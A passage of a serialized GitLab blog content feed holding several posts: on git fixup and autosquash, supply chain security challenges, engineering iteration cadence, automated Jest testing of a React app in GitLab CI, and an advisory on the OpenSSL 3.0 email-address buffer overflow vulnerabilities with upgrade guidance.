we\ncan run:\n\n```shell\n$ git add .\n\n$ git commit --fixup 5ff160db\n\n$ git log --oneline\n\n18c0fff9 (HEAD -> my-change) fixup! Implement feature Y\ne744646b fixup! Implement feature X\n5ff160db Implement feature Y\nf68080e3 Implement feature X\n3cdbc201 (origin/main, origin/HEAD, main) Merge branch 'other-change' into 'main'\n...\n```\n\nYou can now review the `fixup!` commits and if you're happy with it, run:\n\n```shell\n$ git rebase -i --autosquash main\n```\n\nYou see we provide the extra option `--autosquash`. This option will look for\n`fixup!` commits and automatically reorder those and set their instruction to\n`fixup`. Normally there's nothing for you to be done now, and you can just close\nthe instruction list in your editor. If you type `git log` now you'll see the\n`fixup!` commits are gone.\n\n## Alternatives\n\nFinally, there are some tools that allow you to _absorb_ commits more easily, for\nexample:\n\n* [lib.rs/crates/git-absorb](https://lib.rs/crates/git-absorb)\n* [github.com/MrFlynn/git-absorb](https://github.com/MrFlynn/git-absorb)\n* [gitlab.com/bertoldia/git-absorb](https://gitlab.com/bertoldia/git-absorb)\n* [github.com/tummychow/git-absorb](https://github.com/tummychow/git-absorb)\n* [github.com/torbiak/git-autofixup](https://github.com/torbiak/git-autofixup)\n\n[Cover image](https://unsplash.com/photos/qAShc5SV83M) by [Yung Chang](https://unsplash.com/@yungnoma) on [Unsplash](https://unsplash.com/).\n{: .note}\n",[1067,1444,696],{"slug":11872,"featured":6,"template":678},"rebase-in-real-life","content:en-us:blog:rebase-in-real-life.yml","Rebase In Real Life","en-us/blog/rebase-in-real-life.yml","en-us/blog/rebase-in-real-life",{"_path":11878,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11879,"content":11884,"config":11889,"_id":11891,"_type":16,"title":11892,"_source":17,"_file":11893,"_stem":11894,"_extension":20},"/en-us/blog/top-challenges-to-securing-the-software-supply-chain",{"title":11880,"description":11881,"ogTitle":11880,"ogDescription":11881,"noIndex":6,"ogImage":11122,"ogUrl":11882,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11882,"schema":11883},"Top challenges to securing the software supply chain","Learn what organizations should keep in mind while incorporating software supply chain security into their software development lifecycle.","https://about.gitlab.com/blog/top-challenges-to-securing-the-software-supply-chain","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top challenges to securing the software supply chain\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chandler Gibbons\"}],\n        \"datePublished\": \"2022-11-07\",\n      }",{"title":11880,"description":11881,"authors":11885,"heroImage":11122,"date":11886,"body":11887,"category":674,"tags":11888},[4004],"2022-11-07","\nOrganizations are feeling the pressure to integrate security into their software development lifecycles, and federal and industry mandates mean [the days of security as a “nice to have” are officially over](/blog/gitlabs-2022-global-devsecops-survey-security-is-the-top-concern-investment/). Understanding the threats that can emerge across the entire [software supply chain](/blog/gitlab-supply-chain-security/) is integral to this effort. But assembling a complete DevSecOps strategy that governs how code, applications, and infrastructure are protected across the software supply chain is no easy feat.\n\nWhat follows are a few of the biggest challenges that organizations should keep in mind while incorporating software supply chain security into their software development lifecycle.\n\n## The full attack surface is huge\nMost modern cloud-native applications are developed using a multitude of open source and third-party components, creating a tangle of direct and indirect dependencies. But vulnerabilities in open source software, such as the [Log4Shell vulnerability](https://www.cisa.gov/uscert/ncas/alerts/aa21-356a), are only one part of the software supply chain’s full attack surface.\n\nOther potential attack vectors include flaws in in-house code, misconfigured [CI/CD](/topics/ci-cd/) pipelines, secret information inadvertently committed to source code repositories, and even undiscovered vulnerabilities in web APIs. Recognizing all of the ways attackers can exploit the software supply chain is an overwhelming task — in fact, it’s impossible for teams to manually monitor all of these vectors, remediate the threats, and do their day jobs at the same time. DevSecOps teams should be aware of the broad categories of threats to watch out for and the tools and processes, such as version control, multi-factor authentication, and automated security scanning, that are effective at preventing or identifying attacks at each stage of the software supply chain.\n\n## Zero trust is easier said than done\nThe key to ensuring security during each step in the software supply chain is to enforce zero trust: essentially, scrutinizing everything and everyone, whether human, machine, open source component, or application configuration, for potential threats. IBM’s [Cost of a Data Breach 2022 report](https://www.ibm.com/reports/data-breach) found that investments in zero trust are paying off: Organizations that implemented zero trust saved nearly $1 million in average breach costs compared to organizations without zero trust. However, a majority of surveyed organizations had not yet deployed a zero trust security architecture, according to the report. It’s important to remember that [zero trust is not a single product or service](/blog/why-devops-and-zero-trust-go-together/) — it is a strategy applied to a security framework. For securing the software supply chain, that means enforcing zero trust principles at each step in the chain.\n\n## Launching a cyber attack is getting easier\nSoftware supply chain attacks were once the domain of experienced cybercriminals who had the skills to identify and exploit vulnerabilities or to build and inject malicious software code into applications. However, today’s cybercriminals have the benefit of learning from their predecessors. Once a piece of malicious software is out in the world, attackers can reuse and modify it for their own purposes. The [Mirai malware](https://www.csoonline.com/article/3258748/the-mirai-botnet-explained-how-teen-scammers-and-cctv-cameras-almost-brought-down-the-internet.html), for example, continues to live on even after its creators were caught and sentenced in 2018, with new variants emerging each year that continue to pose risks to vulnerable network devices. Today’s hackers also have a broader arsenal of [malicious tools](https://www.cisa.gov/uscert/ncas/alerts/AA18-284A) at their disposal, such as credential stealers and lateral movement tools, that make it easier than ever to launch software supply chain attacks.\n\n## Assess your organization’s threat landscape\nTaking steps to recognize threat vectors in the software supply chain ensures that the software development lifecycle remains an engine of innovation and drives benefits for the business, rather than being a potential backdoor for attackers.\n\n[Download our field guide](https://page.gitlab.com/resources-ebook-guide-to-threat-vectors.html) to better understand the types of threat vectors that can emerge at each stage of the software supply chain and how to mitigate those risks.\n",[674,815],{"slug":11890,"featured":6,"template":678},"top-challenges-to-securing-the-software-supply-chain","content:en-us:blog:top-challenges-to-securing-the-software-supply-chain.yml","Top Challenges To Securing The Software Supply Chain","en-us/blog/top-challenges-to-securing-the-software-supply-chain.yml","en-us/blog/top-challenges-to-securing-the-software-supply-chain",{"_path":11896,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11897,"content":11903,"config":11908,"_id":11910,"_type":16,"title":11911,"_source":17,"_file":11912,"_stem":11913,"_extension":20},"/en-us/blog/cadence-is-everything-10x-engineering-organizations-for-10x-engineers",{"title":11898,"description":11899,"ogTitle":11898,"ogDescription":11899,"noIndex":6,"ogImage":11900,"ogUrl":11901,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11901,"schema":11902},"Cadence is everything: 10x engineering organizations for 10x engineers","GitLab CEO and co-founder Sid Sijbrandij on the importance of cadence in engineering organizations.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671909/Blog/Hero%20Images/Athlinks_running.jpg","https://about.gitlab.com/blog/cadence-is-everything-10x-engineering-organizations-for-10x-engineers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Cadence is everything: 10x engineering organizations for 10x engineers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2022-11-03\",\n      }",{"title":11898,"description":11899,"authors":11904,"heroImage":11900,"date":11905,"body":11906,"category":734,"tags":11907},[3532],"2022-11-03","\nI confess: Although I don’t believe in Bigfoot or Nessie and do believe the moon landings happened, I am convinced that despite the current orthodoxies, [10x engineers](https://svdictionary.com/words/10x-engineer) very much exist and are a major positive force for the industry, and potentially your organization.  If you can find one, convince her to work for you and keep her happy and productive (but I repeat myself).\n\nAlas, finding one is not easy, and no, job adverts stating “We only hire the best” don’t help. However, what you can do is structure your development organization in a way to make such a person productive.  \n\nFortunately, making a 10x developer productive is pretty much the same, as you need to make your development organization productive for everyone, just dialed up to 11, particularly because an inefficient organization will affect a more efficient developer much more dramatically.\n\nUnfortunately, this state appears to be neither natural nor stable.\n\n[Effective organizations are unnatural](https://twitter.com/paulg/status/1556341452740775936?s=21&t=67hekF4Sus5tPryLdZmCHA). The natural state of organizations is bureaucracy and turf wars, and once deprived of effective leadership they revert to their natural state with shocking speed. Similar to organizations in general, development organizations naturally tend toward inefficiency.\n\nMore specifically, development organizations tend toward ever-lengthening cycle times just as much as organizations in general tend toward bureaucracy.  In both cases, this is always for good reasons.  This is really important:  If this tendency toward lengthening cycle times were just stupidity or laziness, it would be significantly easier to counter.  Anthropologist and historian [Joseph Tainter makes a similar point](https://www.youtube.com/watch?v=JsT9V3WQiNA) about civilizations, whose ever-increasing complexity leads to their collapse.  Here as well, the complexity is not introduced willy-nilly, but as a necessary response to problems the civilization faces.  \n\n## The sky’s the limit\n\nSoftware tends to be fairly abstract, but the principles of short cycle times are just applicable in more down-to-earth disciplines, or should I say down-to-air?  First, one of my favorites, the story of how Paul MacCready created the Gossamer Condor to win the first Kremer Prize for human-powered flight.  More recently, Elon Musk’s SpaceX has been out-iterating NASA and the legacy spaceflight companies with results that would have seemed miraculous a couple of decades ago.  Both examples show that while other factors are obviously more important, cadence actually dominates them in short order.\n\nMacGready had come into a bit of debt due to securing a friend’s business loan, and set his eyes on the first Kremer prize for human-powered flight. This had gone unclaimed for 17 years, but not for lack of trying: There had been over 50 official attempts and all failed.  It was a Very Hard Problem we couldn’t solve so it obviously required the most aerodynamically efficient and sophisticated designs possible.  So that’s what people did, and when their sophisticated plane inevitably crashed — after all they were working on the edge of the possible — it took them a year or more to rebuild it.\n\nMacGready approached this from the opposite angle:  He would concentrate on a plane that didn’t have to be so efficient and sophisticated, but instead would fly low and slow, be light and very repairable, aiming for 12 crashes a day. The Gossamer Condor was built out of some lightweight aluminum struts and mylar foil and could usually be repaired with Scotch tape. It was a weird contraption that didn’t look like it could fly.\n\n![The Condor](https://about.gitlab.com/images/blogimages/10x.png)\n\nWithin a few months, the team had accumulated more flights, and more crashes, than the rest of the competition combined. With all that experience, they then also understood the actual problems better than anyone else, for example, how to steer, and soon won the prize, which involved flying a mile in a circle eight.  \n\nThis wasn’t a [one-off fluke](https://www.youtube.com/watch?v=FvmTSpJU-Xc&t=3348s) either: The team went on to win the next Kremer prize as well, crossing the English Channel, then pioneered solar flight and broke the SR-71’s altitude record. The company that came out of the effort nowadays makes drones, including the successful Switchblade drones for the U.S. military that have recently been sent to help in the Ukraine conflict.\n\n## The sky’s not the limit\n\nMore recently, SpaceX has been demonstrating the efficacy of iterative development, first with the Falcon 9 rocket and now with the Starship program. While the latter hasn’t flown to space yet, and so may still fail completely, both the aim and the achievements so far have been breathtaking, particularly compared to NASA’s Space Launch System (SLS), which was started around the same time and is designed to have similar capabilities, lifting around 100 tons to low earth orbit.\n\nThe NASA SLS is a cost-reduced version of the Constellation program, which was canceled early after quickly outgrowing its projected $150 billion dollar budget.  The reduced development cost of the SLS (so far $23 billion in 10 years) has been achieved by reusing not just designs, but also actual parts from the Space Shuttle program.  Not just the solid rocket boosters, but some of the main engines are the actual parts that flew on shuttles and had been mothballed by NASA.  Despite this part reuse, launches of the fully expendable rocket are predicted to cost somewhat upward of $1 billion per pop.  As of Oct. 20, there have been no flights of any of the hardware (except on space shuttles), and the first test launch scheduled for Nov. 26th will fly the full stack as designed.\n\nIn comparison, the Starship program is estimated to have cost $3 billion so far, with estimates of total development costs varying between $5 billion and $10 billion. This is for a completely new rocket, pretty much unlike any that have come before, designed for full reusability and same-day turnaround after refueling, completely new methane-burning engines, assembly-line production using relatively inexpensive materials and a projected cost target of $10 million per launch. If they work as advertised, just a few Starships could turn the entire launch capacity of planet Earth thus far into a footnote, a rounding error, and they plan to build a thousand of them. That’s why they’re building a factory for making them.\n\nIt’s anyone’s guess whether all this launch capacity, at costs two or more magnitudes lower than currently possible, is really for making humanity multiplanetary by establishing a Mars colony or “just” for making space-based production and asteroid mining feasible.\n\nWhen asked, [Elon Musk put it quite simply](https://www.youtube.com/watch?v=E7MQb9Y4FAE&t=333s):\n\n_“Any given technology development is how many iterations do you have and what’s your time and progress between iterations.”_\n\nThe more quickly you can iterate, the more iterations you have available.  But doesn’t iterating more quickly make the progress between iterations correspondingly less, canceling the effect?  Surprisingly, that turns out not to be the case.  Elon Musk again:\n\n_“So if you have a high production rate, you can have a lot of iterations. You can try  lots of different things, and it’s OK if you blow up an engine because you’ve got a number of engines coming after that.  If you have a small number of engines then you have to be much more conservative, because you can’t risk blowing them up.”_\n\nThe higher iteration rate allows you to take more risks, which in turn allows you to push the boundaries more and thus gather more relevant feedback in each iteration, at the same time that the reduced time frame reduces what you can do. So there will be more failures. For example, engines blowing up or planes crashing.  But as long as the failures provide the information they were supposed to provide, and the individual failure modes aren’t fatal, they aren’t actually failures. You obviously don’t want to be cavalier about this, but accepting that risk allows you to push much farther per iteration.  Musk also mentioned that as one of the main problems of the Space Shuttle program:  They couldn’t afford to have one blow up because even the first flight was manned.\n\n“A high production rate solves many ills,” he says.\n\nIn software, the production rate is the iteration rate.  If you have lots of iterations, it’s OK if one of them was a potentially high-value experiment that didn’t pan out.  If you have one iteration per year, you are less likely to want to take that risk, and your reluctance will be justified. The willingness and ability to take risks is captured in the Extreme Programming (XP) [value of ‘courage.”](http://xp.c2.com/ExtremeValues.html)\n\n## Compound interest and experience\n\nThe reason this works out is mathematical.  If you iterate and actually use the feedback the iteration gives you to improve, you will improve a little bit each time because you will have learned something.  For simplicity’s sake, let’s assume an improvement of 5% per iteration.  This is like compound interest, and while it starts slow, once it ramps up, it gives outsize returns, like any exponential.\n\nImprove 2% per iteration, and after three iterations, you will have improved by 6%, which is essentially the same as a linear improvement.  After 200 iterations, however, and whereas the linear approach will have improved by a respectable factor of 4, the iterative approach will have improved by more than 50x.\n\nApart from the purely mathematical, there is also the human factor:  When we do things over and over again, we really start to figure out how it works. We develop an intuition.\n\n## What the science says\n\nThe simplistic mathematical function is obviously not an accurate model of the real world, but the science actually has concluded that higher iteration rates are the one most important factor for the output of software development teams, at least according to the researchers.  These findings have been published in the book “[Accelerate](https://itrevolution.com/product/accelerate/)\" by Nicole Forsgren, Jez Humble and Gene Kim.  The authors have since moved to Google as the DevOps Research and Assessment (DORA) team and make their [findings available here](https://cloud.google.com/blog/products/devops-sre/announcing-dora-2021-accelerate-state-of-devops-report).  \n\nIn short, they find that performance of software teams correlates strongly with cycle times, with the lowest- performing teams having cycle times measured in months, medium performers in weeks, good performers in days and excellent performers in hours. There is also good evidence for the causality going for cycle times to performance and not the other way around.\n\nBut there’s a deeper connection, because the method of iterating on real-world feedback is really just the scientific method, no more, no less.  It is somewhat surprising that in the field of software, we still often consider the scientific method as unruly and dangerous “cowboy coding,” and instead advocate for what is really little different from pre-science scholasticism as the proper approach to creating software.\n\nTo help us also be more scientific and data driven, the DORA team created metrics, called the [DORA metrics](https://cloud.google.com/blog/products/devops-sre/using-the-four-keys-to-measure-your-devops-performance). These are the following:\n\n- Deployment frequency — How often an organization successfully releases to production\n- Lead time for changes — The amount of time it takes a commit to get into production\n- Change failure rate — The percentage of deployments causing a failure in production\n- Time to restore service — How long it takes an organization to recover from a failure in production\n\n## The dangers of dead reckoning\n\nIn reality, it is much more dangerous to stay away from actual code and real feedback from users for any length of time.  For example, ships before GPS used essentially two methods for navigation: dead reckoning and external fixes.  With dead reckoning, you took a known position, added the course speed and known currents over time to come up with a new position.  However, despite the best equipment and methods, this method always introduces some error because the external factors cannot be known with certainty. And what’s worse, just like improvements accumulate and build on each other over time, so do these errors, making the position ever more uncertain over time.\n\nWhen you are in the middle of the ocean, that might not be a huge problem, but close to shore it can be deadly, which is why the amphibious ships of the Royal Navy were required to use position fixing in intervals of a few minutes. With position fixing, you use the actual external environment, landmarks that you can triangulate to determine your position (and of course GPS is just a version of this, except using satellites for the fix instead of landmarks).  This means you aren’t guessing where you are, you know where you are, and every new measurement clears the slate of any errors; there is no accumulation.\n\nSlides don’t crash, and Jira is patient. You can have 100 tasks that are marked as 99% completed in your tracker of choice and still never ship anything to customers.\n\nReality is that which, when you stop believing in it, doesn’t go away, said science fiction writer Phillip K. Dick, in [How to Build a Universe that Doesn’t Fall Apart Two Days Later](https://deoxy.org/pkd_how2build.htm).\n\nIn Part 2, The Process Equation, we will look at overcoming the forces that tend to push software engineering organizations toward higher cycle times and lower cadence.\n",[7715,4103],{"slug":11909,"featured":6,"template":678},"cadence-is-everything-10x-engineering-organizations-for-10x-engineers","content:en-us:blog:cadence-is-everything-10x-engineering-organizations-for-10x-engineers.yml","Cadence Is Everything 10x Engineering Organizations For 10x Engineers","en-us/blog/cadence-is-everything-10x-engineering-organizations-for-10x-engineers.yml","en-us/blog/cadence-is-everything-10x-engineering-organizations-for-10x-engineers",{"_path":11915,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11916,"content":11922,"config":11927,"_id":11929,"_type":16,"title":11930,"_source":17,"_file":11931,"_stem":11932,"_extension":20},"/en-us/blog/how-to-automate-testing-for-a-react-application-with-gitlab",{"title":11917,"description":11918,"ogTitle":11917,"ogDescription":11918,"noIndex":6,"ogImage":11919,"ogUrl":11920,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11920,"schema":11921},"How to automate testing for a React application with GitLab","Learn how to add React automated tests to a GitLab CI pipeline with this tutorial.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666775/Blog/Hero%20Images/cover.jpg","https://about.gitlab.com/blog/how-to-automate-testing-for-a-react-application-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to automate testing for a React application with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jeremy Wagner\"}],\n        \"datePublished\": \"2022-11-01\",\n      }",{"title":11917,"description":11918,"authors":11923,"heroImage":11919,"date":11924,"body":11925,"category":734,"tags":11926},[10938],"2022-11-01","\n\nReact is a popular JavaScript library for building user interfaces. In this tutorial, I'll show you \nhow to create a new React application, run unit tests as part of the CI process in GitLab, and output\nthe test results and code coverage into the pipeline.\n\n## Prerequisites\n\nFor this tutorial you will need the following:\n\n- [Node.js](https://nodejs.org/en/) >= 14.0.0 and npm >= 5.6 installed on your system\n- [Git](https://git-scm.com/) installed on your system\n- A [GitLab](https://gitlab.com/-/trial_registrations/new) account\n\n## Getting started\n\nTo get started, [create a new project in GitLab](https://docs.gitlab.com/ee/user/project/working_with_projects.html#create-a-project).\n\nWhen you are on the \"Create new project\" screen, select \"Create blank project.\" Fill out the project information \nwith your project name and details. After you create the project, you will be taken to the project with an empty repository.\n\nNext, we will clone the repository to your local machine. Copy the SSH or HTTPS URL from the \"Clone\" button and run the following\ncommand in the terminal for your working directory:\n\n```\ngit clone \u003Cyour copied URL here>\n```\n\n## Create the React app\n\nYou will create a new React application by using [Create React App](https://reactjs.org/docs/create-a-new-react-app.html#create-react-app).\n\nFrom the terminal `cd` into your newly cloned project directory and run this command:\n\n```\nnpx create-react-app .\n```\n\nThe npx CLI tool will create a new React application inside of your current directory.\n\nTo run the application, run the following command in your terminal:\n\n```\nnpm run start\n```\n\nYou can view the application you created in your browser window at `https://localhost:3000`.\n\n![Create React App home page](https://about.gitlab.com/images/blogimages/2022-11-04-how-to-automate-testing-for-a-react-application-with-gitlab/create-react-app.png){: .shadow}\n\nStop your application by pressing `CTRL` + `c` in your terminal. \n\nPush your new application to GitLab by running the following commands:\n\n```\ngit add -A\ngit commit -m \"Initial creation of React application\"\ngit push\n```\n\n## Testing your application\n\nBy default, Create React App uses [jest](https://jestjs.io/) as the test runner and one unit test to run.\n\n```javascript\nimport { render, screen } from '@testing-library/react';\nimport App from './App';\n\ntest('renders learn react link', () => {\n  render(\u003CApp />);\n  const linkElement = screen.getByText(/learn react/i);\n  expect(linkElement).toBeInTheDocument();\n});\n```\n\nInside your `package.json`, you should see that it comes with several scripts.\n\n```javascript\n\"scripts\": {\n    \"start\": \"react-scripts start\",\n    \"build\": \"react-scripts build\",\n    \"test\": \"react-scripts test\",\n    \"eject\": \"react-scripts eject\",\n  }\n```\n\nUse the test script to run the tests in your application by running the following command:\n\n```\nnpm run test\n```\n\nWhen prompted for \"Watch Usage,\" press `a` to run all of the tests. You will see that the existing test passes and it continues to watch for changes.\n\n![CLI passing tests](https://about.gitlab.com/images/blogimages/2022-11-04-how-to-automate-testing-for-a-react-application-with-gitlab/passing-test-cli.png){: .shadow}\n\nFor local development, watching for changes to run the tests is great; however, for our CI pipeline we would like to run the tests once, \ncreate a report so that we can see the results inside of our pipeline, and also determine the code coverage.\n\nExit the jest test watcher by pressing `CTRL` + `c` in your terminal. \n\n## Add unit test reporting and coverage\n\nTo view the unit test report, GitLab requires the runner to upload a JUnit report format XML file.\nWe will use `jest-junit` to generate this file. This is a unit test report for jest and will create an XML\nfile in the right format.\n\nTo install `jest-junit`, run the following command in your terminal:\n\n```\nnpm install --save-dev jest-junit\n```\n\nNow, add a new script to run the unit tests inside of your CI pipeline.\nAdd a `test:ci` script to your `package.json` that looks like this:\n\n```javascript\n\"scripts\": {\n    \"start\": \"react-scripts start\",\n    \"build\": \"react-scripts build\",\n    \"test\": \"react-scripts test\",\n    \"eject\": \"react-scripts eject\",\n    \"test:ci\": \"npm run test -- --testResultsProcessor=\\\"jest-junit\\\" --watchAll=false --ci --coverage\"\n  },\n```\n\n`--testResultsProcessor=\\\"jest-junit\\\"` tells jest to use the `jest-junit` library to create a unit test \nreport. `--watchAll=false` disables watch mode so that the tests will not rerun when something changes. `--ci` tells \nJest that it is running in a CI environment. `--coverage` tells Jest that test coverage information should be collected \nand reported in the output. For more information on these options, visit the [jest CLI options](https://jestjs.io/docs/cli) documentation.\n\n\nIf you run the new `test:ci` script, it will run the tests and create an XML file named `junit.xml` and print coverage statistics to the CLI.\n\n\n![CLI code coverage](https://about.gitlab.com/images/blogimages/2022-11-04-how-to-automate-testing-for-a-react-application-with-gitlab/coverage-cli.png){: .shadow}\n\n## Add unit tests to your CI pipeline\n\nIn the root of your application, create a file named `.gitlab-ci.yml`. \n\nDefine a test stage for your pipeline by adding the following code to your `.gitlab-ci.yml` file:\n\n```\nstages:\n  - test\n```\n\nNext, add a job named `unit-test` that will be responsible for running the unit tests in the test stage. Add the following code below the\ndefined stages:\n\n```\nunit-test:\n  image: node:latest\n  stage: test\n  before_script:\n    - npm install\n  script:\n    - npm run test:ci\n  coverage: /All files[^|]*\\|[^|]*\\s+([\\d\\.]+)/\n  artifacts:\n    paths:\n      - coverage/\n    when: always\n    reports:\n      junit:\n        - junit.xml\n```\n\nYour complete `.gitlab-ci.yml` file should look like this:\n\n```\nstages:\n  - test\n\nunit-test:\n  image: node:latest\n  stage: test\n  before_script:\n    - npm install\n  script:\n    - npm run test:ci\n  coverage: /All files[^|]*\\|[^|]*\\s+([\\d\\.]+)/\n  artifacts:\n    paths:\n      - coverage/\n    when: always\n    reports:\n      junit:\n        - junit.xml\n```\n\n\nBefore we push these changes to GitLab, add the following line to your `.gitignore`:\n\n```\njunit.xml\n```\n\nAdd your changes to GitLab by running these commands in your terminal:\n\n```\ngit add -a\ngit commit -m \"Adds .gitlab-ci.yml with unit testing\"\ngit push\n```\n\nWhen this command finishes, your code will be pushed to your project in GitLab and a pipeline will start \nautomatically running the `unit-test` job we defined earlier.\n\n![CI pipeline running](https://about.gitlab.com/images/blogimages/2022-11-04-how-to-automate-testing-for-a-react-application-with-gitlab/ci-pipeline-starting.png){: .shadow}\n\nWhen the pipeline completes, click the pipeline ID (_#680073569 in this case_).\n\nInside the pipeline, click the _Jobs_ tab and you should see the coverage for the unit-test job is 8.33%.\n\n![CI pipeline coverage](https://about.gitlab.com/images/blogimages/2022-11-04-how-to-automate-testing-for-a-react-application-with-gitlab/ci-pipeline-coverage.png){: .shadow}\n\nClick the _Tests_ tab and you can see the testing results for the unit-test job. \n\n![CI pipeline tests](https://about.gitlab.com/images/blogimages/2022-11-04-how-to-automate-testing-for-a-react-application-with-gitlab/ci-pipeline-tests.png){: .shadow}\n\nClick the name of the job _unit-test_ and you will see the status for each of the test suites run.\n\n![CI pipeline test details](https://about.gitlab.com/images/blogimages/2022-11-04-how-to-automate-testing-for-a-react-application-with-gitlab/ci-pipeline-test-details.png){: .shadow}\n\nCongratulations! You just added automated tests for your React application to your CI pipeline inside of GitLab and output the results to the pipeline.\n\nAll code for this tutorial can be found in this [project](https://gitlab.com/jwagner-demo/vandelay-industries/engineering/react-app).\n\nCover image by [Lautaro Andreani](https://unsplash.com/@lautaroandreani?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/react?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n\n## Related Posts\n- [The GitLab guide to modern software testing](https://about.gitlab.com/blog/the-gitlab-guide-to-modern-software-testing/)\n- [Unit Test Reports](https://docs.gitlab.com/ee/ci/testing/unit_test_reports.html)\n- [coverage keyword](https://docs.gitlab.com/ee/ci/yaml/#coverage)\n",[942,4103,110],{"slug":11928,"featured":6,"template":678},"how-to-automate-testing-for-a-react-application-with-gitlab","content:en-us:blog:how-to-automate-testing-for-a-react-application-with-gitlab.yml","How To Automate Testing For A React Application With Gitlab","en-us/blog/how-to-automate-testing-for-a-react-application-with-gitlab.yml","en-us/blog/how-to-automate-testing-for-a-react-application-with-gitlab",{"_path":11934,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11935,"content":11941,"config":11945,"_id":11947,"_type":16,"title":11948,"_source":17,"_file":11949,"_stem":11950,"_extension":20},"/en-us/blog/new-openssl-30-vulnerabilities-what-you-need-to-know-to-find-and-fix-them",{"title":11936,"description":11937,"ogTitle":11936,"ogDescription":11937,"noIndex":6,"ogImage":11938,"ogUrl":11939,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11939,"schema":11940},"New OpenSSL 3.0 vulnerabilities: What you need to know to find and fix them","Learn how to identify your risk for CVE-2022-3786 and CVE-2022-3602.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679348/Blog/Hero%20Images/locks.jpg","https://about.gitlab.com/blog/new-openssl-30-vulnerabilities-what-you-need-to-know-to-find-and-fix-them","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"New OpenSSL 3.0 vulnerabilities: What you need to know to find and fix them\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Security Team\"}],\n        \"datePublished\": \"2022-11-01\",\n      }",{"title":11936,"description":11937,"authors":11942,"heroImage":11938,"date":11924,"body":11943,"category":674,"tags":11944},[2012],"\n\nThe OpenSSL Project [announced two vulnerabilities](https://www.openssl.org/blog/blog/email-address-overflows/) found in OpenSSL 3.0-3.0.6 ([first released in September 2021](https://www.openssl.org/blog/blog/OpenSSL3.Final/)). CVE-2022-3786 and CVE-2022-3602 both relate to X.509 email address buffer overflows and require users to upgrade to OpenSSL 3.0.7, which includes patches for the vulnerabilities, which were downgraded from “critical” to “high.”\n\nOpenSSL is an open-source library used by applications to secure communications over the internet with the Secure Sockets Layer (SSL) and Transport Layer Security (TLS) protocols.\n\n## What are the OpenSSL 3.0 vulnerabilities?\n\nCVE-2022-3786 concerns an X.509 email address variable length buffer overflow that can result in a denial of service attack. CVE-2022-3602 concerns X.509 email address 4-byte buffer overflow that could result in a denial of service that could potentially escalate to remote code execution under specific circumstances (the circumstances were not detailed).\n\nCVE-2022-3602 was initially announced by the OpenSSL Project as a critical severity vulnerability, but was downgraded to high severity due to unlikely exploitation in “common conditions.”\n\n## How do the vulnerabilities work?\n\nAccording to the [OpenSSL bulletin](https://www.openssl.org/news/secadv/20221101.txt): “A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Note that this occurs\nafter certificate chain signature verification and requires either a\nCA to have signed the malicious certificate or for the application to\ncontinue certificate verification despite failure to construct a path\nto a trusted issuer. An attacker can craft a malicious email address\nto overflow four attacker-controlled bytes on the stack. This buffer\noverflow could result in a crash (causing a denial of service) or\npotentially remote code execution.\n\n\"Many platforms implement stack overflow protections which would mitigate\nagainst the risk of remote code execution. The risk may be further\nmitigated based on stack layout for any given platform/compiler...\n\n\"In a TLS client, this can be triggered by connecting to a malicious\nserver. In a TLS server, this can be triggered if the server requests\nclient authentication and a malicious client connects.”\n\n## Is your organization at risk?\n\nOnly applications that use OpenSSL 3.0 are at risk. To assess if your software supply chain is vulnerable, use GitLab’s [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) and [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/).\n\nAccording to the [OpenSSL Security Team](https://www.openssl.org/blog/blog/email-address-overflows/): “The bugs were introduced as part of punycode decoding functionality (currently only used for processing email address name constraints in X.509 certificates). This code was first introduced in OpenSSL 3.0.0. OpenSSL 1.0.2, 1.1.1, and other earlier versions are not affected.”\n\n## Is GitLab vulnerable?\n\nWe have investigated and, as of now, we have found that none of our production systems were impacted by the vulnerability. \n\nHowever, our Dynamic Application Security Testing ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/)) analyzer included the vulnerable library, which we have patched in [DAST v3.0.32](https://gitlab.com/gitlab-org/security-products/dast/-/releases/v3.0.32). Self-managed customers that are using our built-in DAST CI template after 15.0 can get the latest release from `registry.gitlab.com`. If using [the `always` pull policy](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy) the update will occur automatically. GitLab.com is already running the updated DAST scanner.\n\n## How to mitigate the vulnerability risk\n\nTo fix the flaws found in OpenSSL 3.0, organizations must upgrade to OpenSSL 3.0.7.\n\n",[674,815,736],{"slug":11946,"featured":6,"template":678},"new-openssl-30-vulnerabilities-what-you-need-to-know-to-find-and-fix-them","content:en-us:blog:new-openssl-30-vulnerabilities-what-you-need-to-know-to-find-and-fix-them.yml","New Openssl 30 Vulnerabilities What You Need To Know To Find And Fix 